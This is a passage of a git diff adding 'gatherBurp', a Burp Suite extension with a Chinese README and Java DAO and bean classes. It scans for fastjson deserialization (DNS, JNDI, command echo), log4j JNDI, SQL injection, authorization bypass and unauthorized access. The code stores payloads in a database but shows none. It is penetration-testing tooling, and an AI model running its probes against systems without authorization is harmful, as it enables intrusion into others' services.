diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..5ff6309
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..74ed5fd
--- /dev/null
+++ b/README.md
@@ -0,0 +1,104 @@
+# 项目说明
+
+1. 重新写了UI,表格自动更新
+2. 对各个模块的被动扫描做了去重,重复的数据不再扫描
+3. 优化json格式的参数解析
+4. 各个模块进行优化
+5. 数据库配置文件自动生成
+
+# 目前功能
+
+1. fastjson扫描
+2. 权限绕过
+3. 未授权检测
+4. sql注入检测
+5. 工具调用
+7. log4j检测
+8. 复杂数据提交
+
+# 使用说明
+
+请使用`mvn clean package`进行编译打包,生成的jar包在target/目录下
+
+请使用`mvn clean package`进行编译打包,生成的jar包在target/目录下
+
+请使用`mvn clean package`进行编译打包,生成的jar包在target/目录下
+
+皆可通过使用鼠标右键菜单,进行调用
+
+![tool-1.png](images%2Ftool-1.png)
+
+![tool-2.png](images%2Ftool-2.png)
+
+# 功能说明
+
+## fastjson扫描
+
+![](./images/fastjson.png)
+
+> 使用前请先在配置面板配置dns,ip并点击保存
+
+1. 通过鼠标右键菜单,扫描dns,jndi,回显,报错等
+2. dns扫描可以在数据库配置,type为dns,需要在替换dns域名的地方填写FUZZ,并在FUZZ前填写一个字符,如a.FUZZ,主要是为了区别
+3. jndi扫描可以在数据库配置,type为jndi,需要在替换jndi的地方填写FUZZ,jndi扫描会让你选择是使用dns还是ip
+4. 回显扫描可以在数据库配置,type为echo,需要你填写执行的命令,默认是在请求头加Accept-Cache字段,响应是在响应头Content-auth字段
+
+## 权限绕过
+
+![](./images/authcheck.png)
+
+1. 通过给uri中加入特殊字符绕过权限
+2. 通过给header中加入字段绕过权限
+3. 添加accept头进行绕过
+
+## 未授权检测
+
+![](./images/prem.png)
+
+> 使用前请先在面板设置相关参数值
+
+1. 通过替换低权限用户的cookie,来判断是否存在未授权
+2. 通过删除用户的cookie,来判断是否存在未授权
+3. 支持被动扫描
+
+## sql注入检测
+
+![](./images/sql.png)
+
+> 使用前请先在面板设置相关参数值
+
+1. 通过添加特殊字符,来判断是否存在sql注入
+2. sql注入支持get,post,cookie,json等多种方式
+
+## 工具调用
+
+![](./images/config.png)
+
+> 使用前请先在面板设置相关参数值,并点击保存
+
+1. 通过添加常用功能,来调用工具
+2. {host} 会被替换为当前请求的host
+3. {url} 会被替换为当前请求的url
+4. {request} 会保存当前数据包到用户名目录的./gather/目录下,进行调用
+
+
+
+## log4j检测
+
+1. 支持自定义payload,可通过勾选dns选择是dnslog地址,否则为ip,替换参数为dnslog-url
+2. 支持get,post,json,header等多种方式
+3. 支持被动扫描
+
+![img.png](images/log4j.png)
+
+## 复杂数据提交
+
+1. 此功能主要是为了解决burp提交如序列化数据时,解析不出来的问题
+2. 请将数据进行base64后,放在``中,然后点击提交即可
+
+![img.png](images/base64file.png)
+
+# 后期计划
+
+
+1. 如有想法,可以提issue
\ No newline at end of file
diff --git a/images/authcheck.png b/images/authcheck.png
new file mode 100644
index 0000000..48a1bfd
Binary files /dev/null and b/images/authcheck.png differ
diff --git a/images/base64file.png b/images/base64file.png
new file mode 100644
index 0000000..987bb6a
Binary files /dev/null and b/images/base64file.png differ
diff --git a/images/config.png b/images/config.png
new file mode 100644
index 0000000..f739db5
Binary files /dev/null and b/images/config.png differ
diff --git a/images/drophost.png b/images/drophost.png
new file mode 100644
index 0000000..88f4ef7
Binary files /dev/null and b/images/drophost.png differ
diff --git a/images/fastjson.png b/images/fastjson.png
new file mode 100644
index 0000000..d58cb85
Binary files /dev/null and b/images/fastjson.png differ
diff --git a/images/log4j.png b/images/log4j.png
new file mode 100644
index 0000000..3717947
Binary files /dev/null and b/images/log4j.png differ
diff --git a/images/prem.png b/images/prem.png
new file mode 100644
index 0000000..d21af7e
Binary files /dev/null and b/images/prem.png differ
diff --git a/images/scop.png b/images/scop.png
new file mode 100644
index 0000000..09d89e8
Binary files /dev/null and b/images/scop.png differ
diff --git a/images/sql.png b/images/sql.png
new file mode 100644
index 0000000..314bf7a
Binary files /dev/null and b/images/sql.png differ
diff --git a/images/tool-1.png b/images/tool-1.png
new file mode 100644
index 0000000..967032f
Binary files /dev/null and b/images/tool-1.png differ
diff --git a/images/tool-2.png b/images/tool-2.png
new file mode 100644
index 0000000..b541a55
Binary files /dev/null and b/images/tool-2.png differ
diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..994fbec
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,86 @@
+
+ 4.0.0
+
+ org.xm17
+ gatherBurp
+ 1.0.1-SNAPSHOT
+ jar
+
+ gatherBurp
+ http://maven.apache.org
+
+
+ UTF-8
+
+
+
+
+
+ com.intellij
+ forms_rt
+ 7.0.3
+
+
+
+
+ org.xerial
+ sqlite-jdbc
+ 3.43.2.2
+
+
+
+
+ com.alibaba
+ fastjson
+ 1.2.83
+
+
+ commons-io
+ commons-io
+ 2.11.0
+
+
+
+ net.portswigger.burp.extender
+ burp-extender-api
+ 2.3
+
+
+ org.springframework
+ spring-expression
+ 4.3.22.RELEASE
+
+
+
+
+
+
+
+ maven-assembly-plugin
+
+
+
+ burp.BurpExtender
+
+
+ .
+
+
+
+ jar-with-dependencies
+
+
+
+
+ make-assembly
+ package
+
+ single
+
+
+
+
+
+
+
diff --git a/src/main/java/burp/BurpExtender.java b/src/main/java/burp/BurpExtender.java
new file mode 100644
index 0000000..77a2bb6
--- /dev/null
+++ b/src/main/java/burp/BurpExtender.java
@@ -0,0 +1,115 @@
+package burp;
+
+import burp.bean.ConfigBean;
+import burp.menu.*;
+import burp.ui.MainUI;
+import burp.utils.RobotInput;
+import burp.utils.Utils;
+
+import javax.swing.*;
+import java.awt.event.ActionEvent;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.Base64;
+import java.util.List;
+import java.util.Objects;
+
+import static burp.dao.ConfigDao.getToolConfig;
+import static burp.utils.Utils.writeReqFile;
+
+public class BurpExtender implements IBurpExtender, IContextMenuFactory, IHttpListener {
+ @Override
+ public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) {
+ Utils.callbacks = iBurpExtenderCallbacks;
+ Utils.helpers = iBurpExtenderCallbacks.getHelpers();
+ Utils.stdout = new PrintWriter(iBurpExtenderCallbacks.getStdout(), true);
+ Utils.stderr = new PrintWriter(iBurpExtenderCallbacks.getStderr(), true);
+ Utils.callbacks.setExtensionName(Utils.name);
+ Utils.callbacks.registerContextMenuFactory(this);
+ Utils.callbacks.registerHttpListener(this);
+ MainUI mainUI = new MainUI(Utils.callbacks);
+ Utils.callbacks.addSuiteTab(mainUI);
+ SwingUtilities.invokeLater(new Runnable() {
+ @Override
+ public void run() {
+ Utils.callbacks.customizeUiComponent(mainUI);
+ }
+ });
+ Utils.stdout.println("Loaded " + Utils.name + " v" + Utils.version + " by " + Utils.author);
+
+ }
+
+ @Override
+ public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) {
+ List listMenuItems = new ArrayList(1);
+ IHttpRequestResponse[] requestResponses = iContextMenuInvocation.getSelectedMessages();
+ IHttpRequestResponse baseRequestResponse = iContextMenuInvocation.getSelectedMessages()[0];
+
+ List toolParam = getToolConfig();
+ for (ConfigBean config : toolParam) {
+ if (!Objects.equals(config.getType(), "") && !Objects.equals(config.getValue(), "")) {
+ listMenuItems.add(new JMenuItem(new AbstractAction(config.getType()) {
+ @Override
+ public void actionPerformed(ActionEvent e) {
+ Runnable toolRunner = new Runnable() {
+ @Override
+ public void run() {
+ try {
+ RobotInput ri = new RobotInput();
+ if (requestResponses != null) {
+ String cmd = config.getValue();
+ if (cmd.contains("{url}")) {
+ String url = Utils.helpers.analyzeRequest(baseRequestResponse).getUrl().toString();
+ cmd = cmd.replace("{url}", url);
+ } else if (cmd.contains("{request}")) {
+ String requestFilePath = writeReqFile(baseRequestResponse);
+ assert requestFilePath != null;
+ cmd = cmd.replace("{request}", requestFilePath);
+ } else if (cmd.contains("{host}")) {
+ String host = baseRequestResponse.getHttpService().getHost();
+ cmd = cmd.replace("{host}", host);
+ }
+ ri.inputString(cmd);
+ }
+ } catch (Exception e1) {
+ Utils.stderr.println(e1.getMessage());
+ }
+ }
+ };
+ new Thread(toolRunner).start();
+ }
+ }));
+ }
+ }
+ JMenu fastjson = new JMenu("FastJson");
+ fastjson.add(new FastjsonMenu().FastjsonDnslogMenu(requestResponses));
+ fastjson.add(new FastjsonMenu().FastjsonEchoMenu(requestResponses));
+ fastjson.add(new FastjsonMenu().FastjsonJNDIMenu(requestResponses));
+ fastjson.add(new FastjsonMenu().FastjsonVersionMenu(requestResponses));
+ listMenuItems.add(fastjson);
+ listMenuItems.add(new AuthMenu(requestResponses));
+ listMenuItems.add(new Log4jMenu(requestResponses));
+ listMenuItems.add(new PermMenu(requestResponses));
+ listMenuItems.add(new SqlMenu(requestResponses));
+ listMenuItems.add(new Base64DataMenu(requestResponses));
+ listMenuItems.add(new NucleiMenu(requestResponses));
+ return listMenuItems;
+ }
+
+ @Override
+ public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
+ if (toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER && messageIsRequest) {
+ byte[] request = messageInfo.getRequest();
+ String requestStr = Utils.helpers.bytesToString(request);
+ if (requestStr.contains("")) {
+ String data = requestStr.substring(requestStr.indexOf("") + 9, requestStr.indexOf(""));
+ byte[] decodedData = Base64.getDecoder().decode(data);
+ byte[] newBytes = new byte[request.length - data.length() + decodedData.length];
+ System.arraycopy(request, 0, newBytes, 0, requestStr.indexOf(""));
+ System.arraycopy(decodedData, 0, newBytes, requestStr.indexOf(""), decodedData.length);
+ System.arraycopy(request, requestStr.indexOf("") + 10, newBytes, requestStr.indexOf("") + decodedData.length, request.length - requestStr.indexOf("") - 10);
+ messageInfo.setRequest(newBytes);
+ }
+ }
+ }
+}
diff --git a/src/main/java/burp/bean/AuthBean.java b/src/main/java/burp/bean/AuthBean.java
new file mode 100644
index 0000000..2561e58
--- /dev/null
+++ b/src/main/java/burp/bean/AuthBean.java
@@ -0,0 +1,40 @@
+package burp.bean;
+
+public class AuthBean {
+ private String method;
+ private String path;
+ private String headers;
+
+ public AuthBean() {
+ }
+
+ public AuthBean(String method, String path, String headers) {
+ this.method = method;
+ this.path = path;
+ this.headers = headers;
+ }
+
+ public String getMethod() {
+ return method;
+ }
+
+ public void setMethod(String method) {
+ this.method = method;
+ }
+
+ public String getPath() {
+ return path;
+ }
+
+ public void setPath(String path) {
+ this.path = path;
+ }
+
+ public String getHeaders() {
+ return headers;
+ }
+
+ public void setHeaders(String headers) {
+ this.headers = headers;
+ }
+}
diff --git a/src/main/java/burp/bean/ConfigBean.java b/src/main/java/burp/bean/ConfigBean.java
new file mode 100644
index 0000000..e35bea3
--- /dev/null
+++ b/src/main/java/burp/bean/ConfigBean.java
@@ -0,0 +1,49 @@
+package burp.bean;
+
+public class ConfigBean {
+ private Integer id;
+ private String module;
+ private String type;
+ private String value;
+
+ public ConfigBean() {
+ }
+
+ public ConfigBean(String module, String type, String value) {
+ this.module = module;
+ this.type = type;
+ this.value = value;
+ }
+
+ public Integer getId() {
+ return id;
+ }
+
+ public void setId(Integer id) {
+ this.id = id;
+ }
+
+ public String getModule() {
+ return module;
+ }
+
+ public void setModule(String module) {
+ this.module = module;
+ }
+
+ public String getType() {
+ return type;
+ }
+
+ public void setType(String type) {
+ this.type = type;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ this.value = value;
+ }
+}
diff --git a/src/main/java/burp/bean/FastjsonBean.java b/src/main/java/burp/bean/FastjsonBean.java
new file mode 100644
index 0000000..794a3d5
--- /dev/null
+++ b/src/main/java/burp/bean/FastjsonBean.java
@@ -0,0 +1,40 @@
+package burp.bean;
+
+public class FastjsonBean {
+ private Integer id;
+ private String type;
+ private String url;
+
+ public FastjsonBean() {
+ }
+
+ public FastjsonBean(Integer id, String type, String url) {
+ this.id = id;
+ this.type = type;
+ this.url = url;
+ }
+
+ public Integer getId() {
+ return id;
+ }
+
+ public void setId(Integer id) {
+ this.id = id;
+ }
+
+ public String getType() {
+ return type;
+ }
+
+ public void setType(String type) {
+ this.type = type;
+ }
+
+ public String getUrl() {
+ return url;
+ }
+
+ public void setUrl(String url) {
+ this.url = url;
+ }
+}
diff --git a/src/main/java/burp/bean/Log4jBean.java b/src/main/java/burp/bean/Log4jBean.java
new file mode 100644
index 0000000..28ef5b8
--- /dev/null
+++ b/src/main/java/burp/bean/Log4jBean.java
@@ -0,0 +1,45 @@
+package burp.bean;
+
+public class Log4jBean {
+ private Integer id;
+ private String type;
+ private String value;
+
+ public Log4jBean() {
+ }
+
+ public Log4jBean(String type, String value) {
+ this.type = type;
+ this.value = value;
+ }
+
+ public Log4jBean(Integer id, String type, String value) {
+ this.id = id;
+ this.type = type;
+ this.value = value;
+ }
+
+ public Integer getId() {
+ return id;
+ }
+
+ public void setId(Integer id) {
+ this.id = id;
+ }
+
+ public String getType() {
+ return type;
+ }
+
+ public void setType(String type) {
+ this.type = type;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ this.value = value;
+ }
+}
diff --git a/src/main/java/burp/bean/NucleiBean.java b/src/main/java/burp/bean/NucleiBean.java
new file mode 100644
index 0000000..a5d59eb
--- /dev/null
+++ b/src/main/java/burp/bean/NucleiBean.java
@@ -0,0 +1,115 @@
+package burp.bean;
+
+public class NucleiBean {
+ private String id;
+ private String name;
+ private String author;
+ private String severity;
+ private String description;
+ private String reference;
+ private String tags;
+ private String method;
+ private String path;
+ private String header;
+ private String dsl;
+ private String raw;
+
+ public NucleiBean() {
+ }
+
+ public String getId() {
+ return id;
+ }
+
+ public void setId(String id) {
+ this.id = id;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public String getAuthor() {
+ return author;
+ }
+
+ public void setAuthor(String author) {
+ this.author = author;
+ }
+
+ public String getSeverity() {
+ return severity;
+ }
+
+ public void setSeverity(String severity) {
+ this.severity = severity;
+ }
+
+ public String getDescription() {
+ return description;
+ }
+
+ public void setDescription(String description) {
+ this.description = description;
+ }
+
+ public String getReference() {
+ return reference;
+ }
+
+ public void setReference(String reference) {
+ this.reference = reference;
+ }
+
+ public String getTags() {
+ return tags;
+ }
+
+ public void setTags(String tags) {
+ this.tags = tags;
+ }
+
+ public String getMethod() {
+ return method;
+ }
+
+ public void setMethod(String method) {
+ this.method = method;
+ }
+
+ public String getPath() {
+ return path;
+ }
+
+ public void setPath(String path) {
+ this.path = path;
+ }
+
+ public String getHeader() {
+ return header;
+ }
+
+ public void setHeader(String header) {
+ this.header = header;
+ }
+
+ public String getDsl() {
+ return dsl;
+ }
+
+ public void setDsl(String dsl) {
+ this.dsl = dsl;
+ }
+
+ public String getRaw() {
+ return raw;
+ }
+
+ public void setRaw(String raw) {
+ this.raw = raw;
+ }
+}
diff --git a/src/main/java/burp/bean/SqlBean.java b/src/main/java/burp/bean/SqlBean.java
new file mode 100644
index 0000000..28ed8f2
--- /dev/null
+++ b/src/main/java/burp/bean/SqlBean.java
@@ -0,0 +1,34 @@
+package burp.bean;
+
+public class SqlBean {
+ private int id;
+ private String sql;
+
+ public SqlBean() {
+ }
+
+ public SqlBean(String sql) {
+ this.sql = sql;
+ }
+
+ public SqlBean(int id, String sql) {
+ this.id = id;
+ this.sql = sql;
+ }
+
+ public int getId() {
+ return id;
+ }
+
+ public void setId(int id) {
+ this.id = id;
+ }
+
+ public String getSql() {
+ return sql;
+ }
+
+ public void setSql(String sql) {
+ this.sql = sql;
+ }
+}
diff --git a/src/main/java/burp/dao/ConfigDao.java b/src/main/java/burp/dao/ConfigDao.java
new file mode 100644
index 0000000..0f2859c
--- /dev/null
+++ b/src/main/java/burp/dao/ConfigDao.java
@@ -0,0 +1,164 @@
+package burp.dao;
+
+import burp.bean.ConfigBean;
+import burp.utils.DbUtils;
+import burp.utils.Utils;
+
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class ConfigDao {
+ // 根据模块和类型获取配置
+ public static ConfigBean getConfig(String module, String type) {
+ ConfigBean config = new ConfigBean();
+ String sql = "select value from config where module = ? and type = ? order by id desc limit 1";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, module);
+ ps.setString(2, type);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ config.setValue(resultSet.getString("value"));
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return config;
+ }
+
+ // 删除配置
+ public static void deleteConfig(String type) {
+ String sql = "delete from config where type = ?";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, type);
+ ps.executeUpdate();
+ } catch (Exception e) {
+ e.printStackTrace();
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ // 根据id删除工具配置
+ public static void deleteToolConfig(String type) {
+ String sql = "delete from config where type = ?";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, type);
+ ps.executeUpdate();
+ } catch (Exception e) {
+ e.printStackTrace();
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ // 根据类型更新配置
+ public static void updateConfig(ConfigBean config) {
+ String sql = "update config set value = ? where type = ? and module = ?";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, config.getValue());
+ ps.setString(2, config.getType());
+ ps.setString(3, config.getModule());
+ ps.executeUpdate();
+ } catch (Exception e) {
+ e.printStackTrace();
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ // 保存配置
+ public static void saveConfig(ConfigBean config) {
+ String sql = "INSERT OR REPLACE INTO config (module, type, value) VALUES (?, ?, ?)";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, config.getModule());
+ ps.setString(2, config.getType());
+ ps.setString(3, config.getValue());
+ ps.executeUpdate();
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+
+ }
+
+ // 获取工具配置
+ public static List getToolConfig() {
+ List configs = new ArrayList<>();
+ String sql = "select * from config where module = 'tool'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ ConfigBean config = new ConfigBean();
+ config.setId(resultSet.getInt("id"));
+ config.setModule(resultSet.getString("module"));
+ config.setType(resultSet.getString("type"));
+ config.setValue(resultSet.getString("value"));
+ configs.add(config);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return configs;
+ }
+
+}
diff --git a/src/main/java/burp/dao/FastjsonDao.java b/src/main/java/burp/dao/FastjsonDao.java
new file mode 100644
index 0000000..ee8fa14
--- /dev/null
+++ b/src/main/java/burp/dao/FastjsonDao.java
@@ -0,0 +1,135 @@
+package burp.dao;
+
+import burp.bean.FastjsonBean;
+import burp.utils.DbUtils;
+import burp.utils.Utils;
+
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.List;
+
+public class FastjsonDao {
+ public static List getFastjsonListByJNDI() {
+ List fastjsons = new ArrayList<>();
+
+ String sql = "select * from fastjson where type = 'jndi'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ FastjsonBean fastjson = new FastjsonBean();
+ fastjson.setId(resultSet.getInt("id"));
+ fastjson.setType(resultSet.getString("type"));
+ fastjson.setUrl(resultSet.getString("url"));
+ fastjsons.add(fastjson);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return fastjsons;
+ }
+
+ public static List getFastjsonListByEchoVul() {
+ List fastjsons = new ArrayList<>();
+
+ String sql = "select * from fastjson where type = 'echo'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ FastjsonBean fastjson = new FastjsonBean();
+ fastjson.setId(resultSet.getInt("id"));
+ fastjson.setType(resultSet.getString("type"));
+ fastjson.setUrl(resultSet.getString("url"));
+ fastjsons.add(fastjson);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return fastjsons;
+ }
+
+ public static List getFastjsonListByDnsLog() {
+ List fastjsons = new ArrayList<>();
+
+ String sql = "select * from fastjson where type = 'dns'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ FastjsonBean fastjson = new FastjsonBean();
+ fastjson.setId(resultSet.getInt("id"));
+ fastjson.setType(resultSet.getString("type"));
+ fastjson.setUrl(resultSet.getString("url"));
+ fastjsons.add(fastjson);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return fastjsons;
+ }
+
+ public static List getFastjsonListByVersion() {
+ List fastjsons = new ArrayList<>();
+
+ String sql = "select * from fastjson where type = 'version'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ FastjsonBean fastjson = new FastjsonBean();
+ fastjson.setId(resultSet.getInt("id"));
+ fastjson.setType(resultSet.getString("type"));
+ fastjson.setUrl(resultSet.getString("url"));
+ fastjsons.add(fastjson);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return fastjsons;
+ }
+
+}
diff --git a/src/main/java/burp/dao/Log4jDao.java b/src/main/java/burp/dao/Log4jDao.java
new file mode 100644
index 0000000..5cdcc56
--- /dev/null
+++ b/src/main/java/burp/dao/Log4jDao.java
@@ -0,0 +1,153 @@
+package burp.dao;
+
+import burp.bean.Log4jBean;
+import burp.utils.DbUtils;
+import burp.utils.Utils;
+
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.List;
+
+public class Log4jDao {
+ public static List getPayloadList() {
+ List datas = new ArrayList<>();
+ String sql = "select * from log4j where type = 'payload'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ Log4jBean config = new Log4jBean();
+ config.setId(resultSet.getInt("id"));
+ config.setType(resultSet.getString("type"));
+ config.setValue(resultSet.getString("value"));
+ datas.add(config);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return datas;
+ }
+
+ public static List getHeaderList() {
+ List datas = new ArrayList<>();
+ String sql = "select * from log4j where type = 'header'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ Log4jBean config = new Log4jBean();
+ config.setId(resultSet.getInt("id"));
+ config.setType(resultSet.getString("type"));
+ config.setValue(resultSet.getString("value"));
+ datas.add(config);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return datas;
+ }
+
+ public static void deleteHeader() {
+ String sql = "delete from log4j where type = 'header'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.executeUpdate();
+ } catch (SQLException e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ public static void saveHeader(Log4jBean log4jBean) {
+ String sql = "insert into log4j(type,value) values(?,?)";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, log4jBean.getType());
+ ps.setString(2, log4jBean.getValue());
+ ps.executeUpdate();
+ } catch (SQLException e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ public static void deletePayload() {
+ String sql = "delete from log4j where type = 'payload'";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.executeUpdate();
+ } catch (SQLException e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+ public static void savePayload(Log4jBean log4jBean) {
+ String sql = "insert into log4j(type,value) values(?,?)";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ ps.setString(1, log4jBean.getType());
+ ps.setString(2, log4jBean.getValue());
+ ps.executeUpdate();
+ } catch (SQLException e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, null);
+ }
+ }
+
+}
diff --git a/src/main/java/burp/dao/SqlDao.java b/src/main/java/burp/dao/SqlDao.java
new file mode 100644
index 0000000..c6dae18
--- /dev/null
+++ b/src/main/java/burp/dao/SqlDao.java
@@ -0,0 +1,81 @@
+package burp.dao;
+
+import burp.bean.SqlBean;
+import burp.utils.DbUtils;
+import burp.utils.Utils;
+
+import java.sql.Connection;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.List;
+
+public class SqlDao {
+ public static List getSqlList() {
+ List datas = new ArrayList<>();
+ String sql = "select * from sqli";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
+ } catch (SQLException e) {
+ throw new RuntimeException(e);
+ }
+ PreparedStatement ps = null;
+ ResultSet resultSet = null;
+ try {
+ ps = connection.prepareStatement(sql);
+ resultSet = ps.executeQuery();
+ while (resultSet.next()) {
+ SqlBean config = new SqlBean();
+ config.setId(resultSet.getInt("id"));
+ config.setSql(resultSet.getString("sql"));
+ datas.add(config);
+ }
+ } catch (Exception e) {
+ Utils.stderr.println(e.getMessage());
+ } finally {
+ DbUtils.close(connection, ps, resultSet);
+ }
+ return datas;
+ }
+
+ public static void deleteSql() {
+ String sql = "delete from sqli";
+ Connection connection = null;
+ try {
+ connection = DbUtils.getConnection();
